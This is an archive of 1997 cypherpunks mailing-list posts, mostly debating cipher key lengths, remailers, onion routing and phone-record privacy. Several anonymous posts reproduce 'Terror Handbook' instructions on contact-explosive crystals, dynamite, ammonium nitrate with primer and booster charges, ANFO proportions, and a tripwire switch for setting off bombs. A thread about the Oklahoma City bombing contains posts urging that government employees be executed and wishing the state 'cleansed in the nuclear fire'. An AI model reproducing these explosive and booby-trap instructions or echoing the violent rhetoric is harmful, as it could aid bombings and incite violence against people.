7) After they dry, gently place the crystals onto a one square inch piece of
   duct tape.  Cover it with a similar piece, and gently press the duct tape
   together around the crystal, making sure not to press the crystal itself.
   Finally, cut away most of the excess duct tape with a pair of scissors, and
   store the crystals in a cool dry safe place.  They have a shelf life of
   about a week, and they should be stored in individual containers that can be
   thrown away, since they have a tendency to slowly decompose, a process which
   gives off iodine vapors, which will stain whatever they settle on.  One
   possible way to increase their shelf life is to store them in airtight
   containers.  To use them, simply throw them against any surface or place them
   where they will be stepped on or crushed.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:37:38 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111715.NAA21921@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>dynamite</TITLE>
<FONT SIZE=5>DYNAMITE</FONT>
<BR>
<BR>
<BR>
     The name dynamite comes from the Greek word "dynamis", meaning power.
Dynamite was invented by Nobel shortly after he made nitroglycerine. It was
made because nitroglycerine was so dangerously sensitive to shock. A misguided
individual with some sanity would, after making nitroglycerine (an insane act)
would immediately convert it to dynamite. This can be done by adding various
materials to the nitroglycerine, such as sawdust. The sawdust holds a large
weight of nitroglycerine per volume. Other materials, such as ammonium nitrate
could be added, and they would tend to desensitize the explosive, and increase
the power.  But even these nitroglycerine compounds are not really safe.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 12 May 1997 07:05:33 +0800
To: Black Unicorn <cypherpunks@toad.com>
Subject: Re: The War is Underway (fwd)
Message-ID: <3.0.32.19970511125644.006e96a8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:17 PM 5/10/97 -0400, Black Unicorn wrote:
>Yes.  One of the major stumbling blocks I have run into is a lack of code
>which really is refined and reviewed enough to serve the purposes I need
>it to serve. 

The reason for the lack of "refined and reviewed" code is simple. Writing
such  code is difficult and time consuming. Anybody on this list capable of
writing it probably has a 10+ hours daytime job. It is often hard to donate
the effort required into producing either a freeware system or a system
that has a shaky business model at best. Yes, the original code for type I
remailers was written in a few days. Their security is accordingly low,
interfaces were almost non-existent.

The type of software you seem to be interested in requires more than just a
single individual dedicating a few evenings to it. It requires entire
software development teams. That takes the development out of the realm of
guerilla programming and into commercial efforts. As PGP, Inc. can attest,
making money of strong crypto can be hard. That further limits the number
of players willing to dedicate time to such an effort.

>FC97 did a lot to make some more obscure things obvious, and
>familiarize the players with each other, but the details are often hard to
>come by.  Many of the applications out there are painfully behind in
>interface areas forcing developers to use complicated "toolkits" which
>often lack the basics we need. Finding an analogy to easily explain even
>the basics to a customer is very difficult unless the front end jibes with
>the attempt.

While I would have to agree that FC'97 was a very worthwhile event from the
human networking perspective, I am confused by your claim that the
"toolkits"  lack the basics you need. I assume you are talking about
routines in crypto libraries here. What routines do you need that aren't in
the crypto libs available? I am not claiming that crypto libs have all the
routines one might possibly need, but I would be surprised if they didn't
have the routines you need. Perhaps it would help if you would explain what
you are looking for.

Furthermore, crypto libraries are not meant to address interface design.
The interface design is up to the application developer.

>> Perhaps it's time for some stego interfaces to remailers.

Somehow I doubt they will be developed anytime soon. Only a very small
fraction   of remailer users wants to hide the fact that they are using
remailers and not also hide the fact that they are using crypto at all.

If you only want to hide remailer use,  but not crypto use, a Pipe-net like
system should suit you fine.

>Most of what concerns me is the need to keep keylengths "obscenely large"
>because what is obscene today may not be so obscene after 5 years of
>chilled crypto development.

I agree keylengths are an issue. An even larger issue are the properties of
ciphers. We don't know that breaking RSA is as difficult as factoring. We
just hope it is. And we definitely don't know that factoring can not be
done in polynomial time. Not to mention that we don't even know if P != NP.

>Given the success (or lack thereof) of my call to arms before, I'm not
>sure I'll be anxious to repeat it soon.  (The largest keylength of any
>widely used cipher of which I am aware remains at 128.

Not wanting to split hairs, but 3DES is 168 bits. But it is about twice as
strong as DES, so the effective keylength does not exceed 128 bits. 
Still, there is good reason why so few of the many ciphers out there are
actually being used for the high security applications. No cipher has been
as thoroughly analyzed as DES. And while 3DES is often called slow (which
is irrelevant unless you have to encrypt large amounts of data), it is
generally considered secure. If you need better than 3DES, you want larger
keylength while retaining the security of using a well analyzed cipher. I
am not aware of any such cipher today. Perhaps that's why it is used so
little. :-)

>  There still is no
>effective PipeNet, no real mainstream "stealth crypto."  No significant
>work on detering traffic analysis or denial of service with the exception
>of the below).

I disagree. Just because Cypherpunks have not announced the releases of a
finished product, tremendous progress has been made this year alone. And we
have found new allies, such as the Onion Router team from Navy Research Lab
and the CROWDS team from AT&T.

Sure, their systems are far from perfect and require further development.
Which is why several Cypherpunks, myself included, have been busy getting
the teams up to speed, teaching them about attack methods, explaining to
them why certain attacks they discounted as unlikely are actually easy to
pull off, and generally advising these non-CP subscribers with very CP
projects about modifications that must be made to the software before it
will see widespread deployment. Understand that NRL has three scientists
working on Onion Routers a  significant part of their time. With full
funding. This is the kind of commitment it takes to make the more advanced
systems a reality. A volunteer effort is considerably less likely to be
able to come up with the resources for the many projects that need design
and implementation.

Other Cypherpunks have been busy working on advanced systems, but this
stuff takes time. Writing a crypto library is comparatively easy. If your
DES code gives the right results for a given IV, the code works. Taking
that DES code and some RSA code and turning it into an Onion Router is a
whole different challenge. And any mistakes you make are far less obvious.
[...]
>An online bank is useless if it can be blocked by a few keystrokes.

No offense, but Adam's "Eternity" system doesn't come close to Ross
Anderson's original design. It is a fun weekend hack, but calling it the
Eternity Service is a very unfortunate choice of words. It isn't any more
Ross Anderson's Eternity Service than type I remailers are Chaumian mixes.

>(But that's what secure INMARSAT phones are for too)

And how do you feed the base station? I believe the solution to permanent
servers is more likely to come from the IETF's mobile IP efforts (again a
project that far exceeds what a few Cypherpunks can do) and from anonymous
server designs such as recently proposed by the usual suspects and others
who wish to remain anonymous.

[...]
>C'punks should wish to provide clandestine crypto services for the entire
>population.  Laws which may or may not pass in the United States should
>bore c'punks, because they should realize that legislation is irrelevent
>because the genie is already out of the bottle.  Unfortunately, I don't
>think the genie is all the way out of the bottle.

Clandestine anything, almost by definition, will never reach the entire
population, but only those that are willing to go out and seek it. [If it
was openly available, it wouldn't be clandestine.]

PGP became as popular as it did because it could be used with zero
investment by any two parties, requiring only minimum connectivity. Truly
secure net anonymizers will need, at least at the backbone level, multiple
dedicated machines with fat 24/7 Internet connections in multiple
jurisdictions.  That's a significant investment. Such sites are not going
to become a reality out of the goodness of somebody's heart. Even in the
unlikely event that somebody has the time to write all the code for free.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 12 May 1997 07:01:53 +0800
To: Kent Crispin <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
Message-ID: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:10 PM 5/10/97 -0700, Kent Crispin wrote:

>Hence the value of the "Crypto is Cool" approach.  A valuable addition
>would be crypto packages designed for high school kids.  All my many
>nieces and nephews are on the net...

I usually don't reply to these kind of posts, but since you have mentioned
this before and since you obviously still don't deem it appropriate to get
yourself up to speed by reading the archives, your idea has been discussed
and tried.

People won't use crypto unless it is either transparent, meaning put there
*for* them by the OS vendor/application developer or because the see a need
for using it. The few fanatics that use crypto because "it is cool" are
inconsequential when the objective is bringing crypto to the masses.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 12 May 1997 06:59:56 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970511131820.0072e670@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 PM 5/10/97 CST, TruthMonger wrote:

>  The government has prosecuted dozens of individuals for planning
>to bomb the OK city Federal Building (including executed murderers).
>It has long been listed as a target of choice for anti-government
>paramilitarists.

Can somebody confirm this? Cite?

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 12 May 1997 01:43:48 +0800
To: "Mark M." <markm@voicenet.com>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.LNX.3.95.970510192350.2999A-100000@purple.voicenet.com>
Message-ID: <Pine.SUN.3.96.970511125117.9012O-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Mark M. wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 10 May 1997, Black Unicorn wrote:
> 
> > The amount of confusion over what represents a good algorithm is also
> > interesting.  Take CAST, which seems a promising cipher and which we
> > considered using over IDEA.
> > 
> > On asking 4 "experts" about CAST, I got 4 answers.
> > 
> > 1>  A 64 bit cipher with 40 bits secret.
> > 2>  A 64 bit cipher - not expected to be very complete.
> > 3>  A 128 bit cipher.
> > 4>  "Not worth discussing."
> > 
> > In fact, as I understand it, CAST is of variable key length (Up to 128
> > bits), and quite resistant to many attacks which plague DES and even IDEA.
> > 
> > But digging out that information was painfully difficult.  (It may not
> > even be correct).
> 
> According to _Applied Cryptography_, CAST is a Feistel cipher with a 64-bit
> block length and 64-bit key length.  So far, brute force is the only known
> attack.
> 
> As far as "obscenely large" key lengths are concerned, 3-key triple DES
> uses a 168-bit key.

As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

> Using large key sizes for passphrase-based systems is difficult, because
> it's just too difficult to remember a passphrase with enough entropy to
> make a difference.  Assuming a random passphrase with 6 bits of entropy
> per character, over 21 characters would have to be used for there to be
> 128 bits of entropy.

I dislike this line of argument for several reasons.  It reduces security
to the lowest common denominator.  Because, the argument goes, few people 
will use more than a 21 character passphrase, then we need not design
anything with more security.

In reality, I think that the percentage of people who use more than an 8
character passphrase, especially outside these circles, is small.
Following your logic, our high end of security should be about 48 bits.

> Systems that use randomly generated keys are
> limited only by the amount of available entropy, but then the passphrase
> security to encrypt the secret key or physical security become important.
> Using excessively long keys does not do much for security, as there are
> always going to be weaker links that an attacker can take advantage of.
> It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
> good, either.

Again, you have taken an important concept, total security, and reversed
it.  Instead of aiming to make each link as strong as possible, you have
aimed to design around the weakest link.

This is a serious mistake in my view.

It costs little today to develop a cipher with larger keyspace.  (DES with
independent subkeys already exists and has a basic keyspace of 768 bits.
A meet in the middle attack reduces keyspace to 2^384.  Schneier discusses
the cipher briefly).  If users are willing to deal with large keys (I
certainly am) then software designers are restraining a more secure
implementation.

I think most will agree that anything over 150 bits makes brute force
a losing effort.  Unfortunately it has to be deployed first.

 
> 
> 
> Mark
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3
> Charset: noconv
> 
> iQEVAwUBM3UK/yzIPc7jvyFpAQEhIwf+NYr0gHWWd2r056+MCZp/v5Y5KmpdxSz8
> mXOM+GOm4bxk5OufCcw7FWKoJYNxklII3yDl1s9+xd5iegwX7T+rRWo1qc1/MAOJ
> JJdMxy87T6qHgO28GUa6eNe/3g9d76z4U3E95u4mNMVs4mEQcD16lgXpfZPDZO0z
> c7SxEfAK2rCxZeakZ0c/QEgraWIYLjpyl0EsHNVw+PszlGtrQKEFSJNSGI9dhKkc
> WT6oHiisE1F+GNLn7PyBzby8HxEW9zwWSU3coa75yqwHfNNVCkb/s2Yh3cyw5LhP
> mrMlQcVBH6A4J5iJQJcEfoKN9p+rZA/Rl5FjApWFG3cVMxq0ZXGjZg==
> =eI9X
> -----END PGP SIGNATURE-----
> 
> 

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland
Rebel Directive #7:Avoid soccer games when a government assault threatens.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:43:01 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111724.NAA22101@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>ammonium nitrate</TITLE>
<FONT SIZE=5>AMMONIUM NITRATE</FONT>
<BR>
<BR>
<BR>
     Ammonium nitrate could be made by a terrorist, or it could be stolen from a construction site, since it is usually used in blasting, because it is very stable and insensitive to shock and heat.  A terrorist could also buy several Instant Cold-Paks from a drug store or medical supply store.  The major disadvantage with ammonium nitrate, from a terrorist's point of view, would be detonating it.  A rather powerful priming charge must be used, and usually with a booster charge.  The diagram below will explain.
<BR>
<BR>
<HR>
<BR>
<PRE>
          _________________________________________
          |       |                               |
  ________|       |                               |
     |        | T.N.T.|     ammonium nitrate      |
     |primer |booster|                            |
     |_______|       |                            |
          |       |                               |
          |_______|_______________________________|
</PRE>
<BR>
<BR>
<HR>
<BR>
     The primer explodes, detonating the T.N.T., which detonates, sending a tremendous shockwave through the ammonium nitrate, detonating it.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 12 May 1997 02:21:55 +0800
To: cypherpunks@einstein.ssz.com
Subject: Re:
In-Reply-To: <199705111711.NAA21757@dhp.com>
Message-ID: <0nRUDN200YUe026ag0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


lucifer@dhp.com (lucifer Anonymous Remailer) writes:
> product. A terrorist, however, would probably opt for the less economical one
> step method. The one step process is performed by treating toluene with very
> strong (fuming) sulfuric acid.

Hmmm, fuming suphulic acid, eh? What, a skim of yellow powder
spontaneously appears on the surface? Kids, the above article 
is a collection of errors and omissions. Don't try this at home.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 02:27:19 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111749.NAA24020@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>ANFOS</TITLE>
<FONT SIZE=5>ANFOS</FONT>
<BR>
<BR>
<BR>
ANFO is an acronym for Ammonium Nitrate - Fuel Oil Solution.  An ANFO
solves the only other major problem with ammonium nitrate: its tendency
to pick up water vapor from the air.  This results in the explosive
failing to detonate when such an attempt is made.  This is rectified by
mixing 94% (by weight) ammonium nitrate with 6% fuel oil, or kerosene.
The kerosene keeps the ammonium nitrate from absorbing moisture from the
air.  An ANFO also requires a large shockwave to set it off.

<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 13 May 1997 01:52:14 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: Re: Disinformation in L.A.
Message-ID: <3.0.32.19970511133716.00755b9c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:08 AM 5/11/97 -0400, Declan McCullagh wrote:

>I note that Washington, DC occasionally even contains Duncan Frissells,
>Lucky Greens, and Sameer Parekhs.

There are worse ways of dying than being vaporized. In fact, there are
worse ways of living than dying. No, I do not believe this to currently be
the case. In my book, the US is presently the best place to live. As does
Tim. Still, I do accept anonymous email. Especially if it contains travel
blackout days.

Seriously, I doubt anybody on this list is going to do something violent.
That doesn't mean I think that nobody in the world is willing to nuke DC. I
am told that quite a few Russian nukes are unaccounted for. Just for the
record, I believe that it considerably more likely for New York City to be
nuked than DC.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 02:25:28 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111750.NAA24096@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<HTML>
<HEAD>
    <TITLE>tripwire switches</TITLE>
</HEAD>
<BODY>
<FONT SIZE=5>Tripwire Switches</FONT> <BR>
<BR>
<BR>
A tripwire is an element of the classic booby trap. By placing a nearly
invisible line of string or fishing line in the probable path of a victim,
and by putting some type of trap there also, nasty things can be caused
to occur. If this mode of thought is applied to explosives, how would one
use such a tripwire to detonate a bomb. The technique is simple. By wrapping
the tips of a standard clothespin with aluminum foil, and placing something
between them, and connecting wires to each aluminum foil contact, an electric
tripwire can be made, If a piece of wood attached to the tripwire was placed
between the contacts on the clothespin, the clothespin would serve as a
switch. When the tripwire was pulled, the clothespin would snap together,
allowing current to flow between the two pieces of aluminum foil, thereby
completing a circuit, which would have the igniter or squib in it. Current
would flow between the contacts to the igniter or squib, heat the igniter
or squib, causing it it to explode. <BR>
<BR>
<HR>
<PRE>
                    __________________________________
                    \_foil___________________________/
 Insert strip of      ----------------------------spring
 wood with trip-      _foil__________________________
 wire between foil   /_______________________________\
 contacts.</PRE>
<HR><BR>
Make sure that the aluminum foil contacts do not touch the spring, since
the spring also conducts electricity.<BR>
<BR>
<HR><BR>
<I>From the Terror Handbook</I>
</BODY>
</HTML>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Tue, 13 May 1997 01:32:19 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Money orders, debit cards, ...
Message-ID: <199705112138.OAA21281@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:11 5/11/97 -0700, Greg Broiles wrote:
>At 02:12 AM 5/11/97 -0700, David Wagner wrote:
>>(Note: contents of calls are protected by law, but traffic analysis
>>specifically is allowed, far as I can tell.)
>
>Correct. There is no (federal) constitutionally protected privacy interest in
>traffic-analysis data about phone calls, because (so the argument goes) that
>data is voluntarily disclosed to a third party (the phone company).

That argument is bullshit, however.  Getting technical about it, you
"disclose" your voice to the phone company so that it can digitize it and
send it to its destination.  If that argument were valid, voice would be
unprotected as well.

Chances are excellent that this odd position is a holdover from a time
(1920's) when many if not most telephone calls were manually switched, and
you had to tell the (human) operator the number you wanted to call.  That
act of telling was probably considered "disclosure."   However, logically
the adoption of a system of automatic switching (which doesn't require
recording the number called; for many decades such recording wasn't even
done because it was economically impractical except for charged LD) would
eliminate the presumption that the number was already "disclosed."

Since phone company operations subsequent to call takedown do not require
the recording of destination numbers, any more than they need to record
voice, the constitutional treatment of these two pieces of information
should be identical.

In any case, constitutional rights should not depend on (or be limited by)
the state of technology 70 years ago.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Mon, 12 May 1997 05:54:10 +0800
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: communicator
In-Reply-To: <199705111945.OAA29354@manifold.algebra.com>
Message-ID: <33763CCD.ED1A6EB8@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Tom --
> 
> Will netscape communicator be available for linux? It would be very
> very unfortunate if netscape dropped support for linux...

Yes, we will continue to release linux versions.

-- 
You should only break rules of style if you can    | Tom Weinstein
coherently explain what you gain by so doing.      | tomw@netscape.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 12 May 1997 03:50:44 +0800
To: tomw@netscape.com
Subject: communicator
Message-ID: <199705111945.OAA29354@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Tom -- 

Will netscape communicator be available for linux? It would be very very
unfortunate if netscape dropped support for linux...

thanks

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 13 May 1997 02:05:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <Pine.LNX.3.91.970511143958.2856A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 10 May 1997, TruthMonger wrote:

>   Of course, you have your own definintion of innocenent bystanders,
> while others may have different definitions.

This is certainly the case, but we must be careful not to extend this and 
say that the actual "according to hoyle" definition of innocence is 
subjective.

Certainly I believe that most of the group the media refer to as 
"innocent bystanders" are criminals in a true sense. In fact, I would go 
so far as to say that less than 1 in a thousand of these people are 
probably *idealogically* pure but we must be careful about allowing 
ourselves any notion of thought crime.

>   Is someone who is in the military because of forced enscription at
> the point of a gun (with threats of imprisonment if they refuse) an 
> innocent bystander? When an invading force attacks your home, do you
> only shoot back at those who are there willingly?

Absoltely, I believe that those who allow themselves to be threatened and 
coereced into joining the military because of enscription are criminal, 
because they allow their own cowardice to control them. They make a 
choice to save their own ass by participating in immoral violent acts by 
a government which believes it has rights over it`s citizens lives and 
freedoms. 

Question: Where does the US prescedent for military conscription come from?
	  Is there nothing in the constitution which could have been used
	  in a legal challenge?

>   Were the children in the daycare center at the Federal Building
> at OK city innocent bystanders?

More than likely they were, had they lived another 10 or 20 years they 
probably would have been corrupted and brainwashed like all the other paeons.

>   Then why, pray tell, did the government allow them to be placed
> in a building which was known to be a prime target of anti-government
> paramilitary idealists? Were they being used as a "shield" in the
> hopes that their presence would protect the others? Or were they
> there in order to provide sensational fodder for government response
> to the inevitable?

Media fodder would be my guess, there are a number of other reasons but 
sensation fodder shows through in most cases. It is observable within the 
UK that hospitals and schools are often placed close to government 
buildings, eg. In London there is a hospital directly opposite the houses 
of parliament.

> > I know that critical times call for critical action, but I just don't
> > expect from anarchist libertarian cypherpunks that they would "throw
> > caution to the wind" (so to speak) and forget how to think about events and
> > actions in terms of specifics and utter precision.
> 
>   The fact of the matter is that the government has declared war
> on the freedom and liberty of its citizens and passed draconian
> laws which prevent citizens from defending themselves from 
> government oppression. The government protects those participating
> in its crimes from having to pay a price for their complicity.
>   The government has a ruinous effect on the lives of millions
> of its citizens daily and is responsible for a mountain of deaths
> of "innocent people." Those taking part in the process should be
> made aware that there is a price to pay for their actions.

As I have said I can understand the sentiment behind it, but I have 
several problems with Tim`s "It`s war, innocents die" line, the biggest 
being that for me the defining principle of anarchism is that all crimes 
and all acts are considered alone in relation to the NAP. If I kill one 
genuinely innocent person during a bombing where I kill say 300 MPs I 
have still commited murder and should be treated as such. I`m sure, if I 
were given that chance, I would definitely be tempted to kill the 
innocent to get the criminals but this is merely untempered illogical 
emotion, I would not be worthy of any respect or credibility whatsoever 
if I took that choice and disregarded the rights of the innocent bystander.

>   Should the Allied war against Nazi Germany have not taken place
> because "innocent" lives would be lost? 

Correct, the German people, along with the people of all the allied 
nations, should have turned their armies against their governments and 
ended the notion of state in the western world, the other countries of 
the world would soon have followed suit. Sure, you can say "but after 
the fact, once the war was underway, what was the right thing to do?"
to which I would answer that a. The situation was created by the 
cowardly action of the people in failing to remove their government.
and b. The actions taken were wrong because removal of the german
government directly by its people would not have resulted in the deaths
of thousands of innocent people. 

> Should the French Freedom
> fighters not have fought to free their country from occupation
> because "innocent bystanders" would die in the process?

Certainly, if one is defending ones rights, and an innocent bystander 
gets killed in the process it is a natural reaction to think of yourself 
as innocent. This is the wrong reaction to have. People on this list seem 
to be gravitating towards the school of thought the government allies 
itself with, that is, "the greater good". Replacing one evil with a 
lesser evil is, although preferable to the status quo, not the anser. War 
is not a natural state to be in and difficult choices have to be made, 
among these is the question of how many innocents have to die to protect 
the rights of the many, I am not a pragmatist and, although it is 
unrealistic, would take a pacifist point of view here in that I would
say all war is criminal and I find it very hard, although it is of course
a logical necessity, to decide in favour of "the greater good".

>   Timothy McVeigh's position in history will likely belong in the
> hands of the winner of the war between the government and its
> citizens, but he is already considered a freedom fighter by more
> people than the government would like to admit. He has issued a
> wake-up call for those who think that they can remain nameless 
> and faceless in their complicity with government atrocities.

Yes, the more we get the message over that complying with the evil 
actions of criminals is a crime in itself, and that those who do so will 
be executed, the quicker the thugs will learn the evil of their actions.

>   While I would have chosen a different approach and target for
> an attack, I will not pass moral judgement on McVeigh's actions.
> That is between himself and his conscience.

I think one must pass judgement, Tim McVeigh`s actions were criminal and 
deplorable, but his motives were totally right, however, just as we do 
not believe in thought crime we should not believe that having the right 
motives absolves one from blame in the commision of a crime. This is why, 
judging entirely on the act itself, I would say McVeigh is a criminal, 
whether he was acting for the right reasons or not. 

>   Tim McVeigh at least had the fortitude to act on his outrage
> over what he perceived as government injustice. What did others
> do over the outrageous tragedy at Waco? Mostly they just turned
> their heads away and tried to pretend that our government is not
> a murderer of men, women and children.

Quite, people have been brow beaten and brainwashed into believing the 
violent actions of the state are justifiable, but any action they take 
themselves is criminal and wrong. For example, the truncheon wielding 
government rent-boys (for all state employees are moral prostitutes) can 
lock me in a cell and deny me basic freedoms because of what substances I 
choose to put into my own body, yet in the UK one cannot even carry a 
weapon to defend oneself against attack (For example, if someone were to 
break into my house, and I were to either shoot him or take a baseball 
bat to him, I would be prosecuted for murder or for assult).

Tim McVeigh maybe had the fortitude to act on his feelings, this does 
not mean those actions were justifiable merely by the fact they
were done out of convictions rather than greed. To return once again
to a recent topic on this list Nietzsche put it very well when he said
"Convictions are more dangerous enemies of truth than lies". From
this I also derive my own view that poloticians who genuinely believe
they are acting in the interest of the people are more dangerous
than those who act merely for financial gain or gain in prestige
and control (the will to power).

Whether Tim McVeigh`s actions showed a strength of conviction or not,
they certainly showed a moral and ethical weakness in that he 
justified the murder of innocents by the necessity to remove government
officials from power. 

You might notice I seem to be contradicting myself here, this is because
I am. I really have great problems in coming to a definitive personal
decision over questions of morality and ethics in a war situation. 
Maybe this shows a moral weakness on my part, maybe I am not sure of 
my own morality, but I think a little indecision is a good thing: it
ensures that one is always thinking and never acting on a prejudice.

>   How many government employees quit in outrage, stating that
> they would not take part in such atrocities? How many took a
> vocal moral stand against their superiors, or exposed the
> government duplicity involved in the police action?

They are all whores, so I suggest we fuck them like whores.


>   Nobody who turns their head is "innocent" and they cannot avoid
> their own responsibility if they choose to place their children
> in the line of fire as a result of their participation in crimes
> against the citizens.

Yes, they were naive, but I don`t believe for a moment they commited any 
crime, Tim McVeigh commited the crime. It is one thing to be negligent 
and through that negligence allow innocent people to be killed, it is 
quite another to actively participate in a system which persecutes and 
murders and fail to look at the evil in front of your eyes.


>   Given the wide knowledge of the OK city Federal Building being
> a known target of anti-government forces, I think the placing of
> a daycare center there was the equivalent of military forces who
> cowardly advance with women and children in front of them. (And
> there are ample examples of this in history.)

Yes, but this military did not force the innocent children to be there, 
it possibly spread disinformation and propoganda which convinced the 
parents that their children were safe in the building, the parents were 
naive and overtrusting if they believed this, but the only criminal 
was McVeigh in this particular instance.


>   Those in government express outrage at the barbarity of an
> individual citizen attacking his oppressors, but apparently are
> not outraged enough to stop their oppression.

Quite, their logic is flawed because they have been brainwashed, it is a 
sad fact that many of these criminals are merely stupid or conformist.

>   The fact is that we have a police state whose power and abuse
> of power are growing by leaps and bounds because there has been
> no realistic amount of accountability attached to their actions.

The only level of accountability acceptable is for any member of the 
state to be immediately executed on the spot for the commision of any 
crime.

>   This is an unnatural state of affairs and one that human nature
> will correct. When things become too far out of balance, then
> the universal laws of nature correct the situation. I believe that
> the dinosaurs learned this lesson, as well.

So will the state, when, in the words of Tim May, they are "cleansed in 
the nuclear fire".


        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Mon, 12 May 1997 07:25:45 +0800
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
Message-ID: <19970511160550.21115@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, May 11, 1997 at 01:18:43PM -0700, Lucky Green wrote:
> At 04:10 PM 5/10/97 -0700, Kent Crispin wrote:
> 
> >Hence the value of the "Crypto is Cool" approach.  A valuable addition
> >would be crypto packages designed for high school kids.  All my many
> >nieces and nephews are on the net...
> 
> I usually don't reply to these kind of posts, but since you have mentioned
> this before 

Actually, you must be confusing me with someone else -- I can't, to 
my recollection, remember ever having said anything about this 
before.  (Of course, you could always go back in the archives and check.) 
I was just responding to the idea mention by someone else (except 
I think they worded it "ciphers are cool" or something like that).

> and since you obviously still don't deem it appropriate to get
> yourself up to speed by reading the archives, your idea has been discussed
> and tried.

With a memory like mine (and yours too, apparently) reading the 
archives would do no good -- I can't remember a thousandth of all the 
stuff I read, anyway.

> People won't use crypto unless it is either transparent, meaning put there
> *for* them by the OS vendor/application developer or because the see a need
> for using it. The few fanatics that use crypto because "it is cool" are
